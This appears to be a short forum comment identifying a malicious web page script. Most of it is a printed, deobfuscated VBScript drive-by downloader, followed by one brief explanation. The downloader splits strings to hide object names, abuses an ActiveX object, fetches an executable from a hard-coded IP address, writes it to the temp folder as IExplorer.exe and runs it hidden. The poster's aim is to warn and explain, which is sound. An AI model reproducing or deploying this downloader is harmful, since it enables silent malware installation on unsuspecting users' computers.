Its a virus.
The code evaluates to:
<scr(disabled)ipt language="VBScript">
on error resume next
mmmmdf = "http://200.189.179.60/IExplorer.exe"
z0="obj"
z1="ect"
zstr=z0&z1
s0="clas"
s1="sid"
sstr=s0+s1
r0="Micro"
r1="soft."
r2="XML"
r3="HTTP"
rrstr=r0&r1&r2&r3
t0="clsid:BD96C556-65A3-"
t1="11D0-983A-00C04FC29E36"
tsstr=t0&t1
Set sdddw = document.createElement(zstr)
sdddw.setAttribute sstr, tsstr
str=rrstr
Set edd = sdddw.CreateObject(str,"")
ba1="Ado"
ba2="db."
ba3="Str"
ba4="eam"
str33=ba1&ba2&ba3&ba4
straa=str33
set cccc = sdddw.createobject(straa,"")
cccc.type = 1
str6="GET"
edd.Open str6, mmmmdf, False
edd.Send
fr0="Scripti"
fr1="ng.FileSy"
fr2="stemObject"
frstr=fr0&fr1&fr2
eeeedff="IExplorer.exe"
set vvvv = sdddw.createobject(frstr,"")
set tmp = vvvv.GetSpecialFolder(2)
eeeedff= vvvv.BuildPath(tmp,eeeedff)
cccc.open
cccc.write edd.responseBody
cccc.savetofile eeeedff,2
gtg0="Shell.Ap"
gtg1="plication"
gtrrstr=gtg0>g1
cccc.close
set xxsdd = sdddw.createobject(gtrrstr,"")
xxsdd.ShellExecute eeeedff,"","","open",0
</script>
which seems to download a virus of some sort and try to run it on your computer. It would only affect IE AFAIK, no one in their right mind would have IE's security settings on "ultra-low".